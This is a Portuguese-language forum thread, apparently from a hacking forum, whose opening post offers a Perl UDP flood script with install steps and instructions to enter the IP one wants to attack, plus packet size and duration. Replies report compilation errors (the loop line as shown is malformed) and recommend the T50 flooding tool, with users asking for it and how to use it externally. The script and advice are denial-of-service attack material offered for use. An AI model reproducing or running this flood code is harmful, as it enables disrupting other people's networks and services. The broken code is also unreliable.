Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

UDP Flood Attack [Linux]

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tools UDP Flood Attack [Linux]

    UDP Flood Perl Script (Linux)

    Autor | Anonymous.7654
    Editor | Aratorny

    Começando

    1.Terminal > Escreva "sudo apt-get install perl"
    2.Copie o script, cole no Text Editor, e salve ele com .pl file extension (por exemplo, flood.pl)
    3.Copie a file, cole no Home Folder (Pasta Principal)
    4.Terminal > Escreva "sudo chmod +x ./flood.pl"


    Script Code


    #!/usr/bin/perl

    ##############
    # udp flood.
    ##############

    use Socket;
    use strict;

    if ($#ARGV != 3) {
    print "flood.pl <ip> <port> <size> <time>\n\n";
    print " port=0: use random ports\n";
    print " size=0: use random size between 64 and 1024\n";
    print " time=0: continuous flood\n";
    exit(1);
    }

    my ($ip,$port,$size,$time) = @ARGV;

    my ($iaddr,$endtime,$psize,$pport);

    $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
    $endtime = time() + ($time ? $time : 1000000);

    socket(flood, PF_INET, SOCK_DGRAM, 17);


    print "Flooding $ip " . ($port ? $port : "random") . " port with " .
    ($size ? "$size-byte" : "random size") . " packets" .
    ($time ? " for $time seconds" : "") . "\n";
    print "Break with Ctrl-C\n" unless $time;

    for (;time() <= $endtime {
    $psize = $size ? $size : int(rand(1024-64)+64) ;
    $pport = $port ? $port : int(rand(65500))+1;

    send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

    How to use script?

    Terminal > type "./flood.pl 127.0.0.1 80 65500 120"

    127.0.0.1 = IP que você quer fazer o ataque , 80 = Port , 65500 = Packet Size , 120 = Attack Time ( Em segundos )



    Para você ter um resultado melhor, você precisa ter uma boa internet, boa sorte.
    ---------------------------------------------------------

  • Font Size
    #2
    Legal, mais lembrando que para instalar em distros não baseadas no Debian, é diferente, por exemplo, no openSUSE é:
    # yast --install perl


    Comment


    • Font Size
      #3
      Aqui deu o seguinte erro:

      Código:
      Global symbol "%endtime" requires explicit package name at flood.pl line 33.
      syntax error at flood.pl line 35, near "$pport "
      syntax error at flood.pl line 38, near ";}"
      Execution of flood.pl aborted due to compilation errors.

      Comment


      • Font Size
        #4
        Usa o T50 mais eficaz!

        Comment


        • Font Size
          #5
          Postado Originalmente por nosile Ver Post
          Usa o T50 mais eficaz!
          Se tiver o T50 e puder me manda ai....

          Comment


          • Font Size
            #6
            Como que usa o t50 externo ? só consegui usar interno

            Comment

            X
            Working...
            X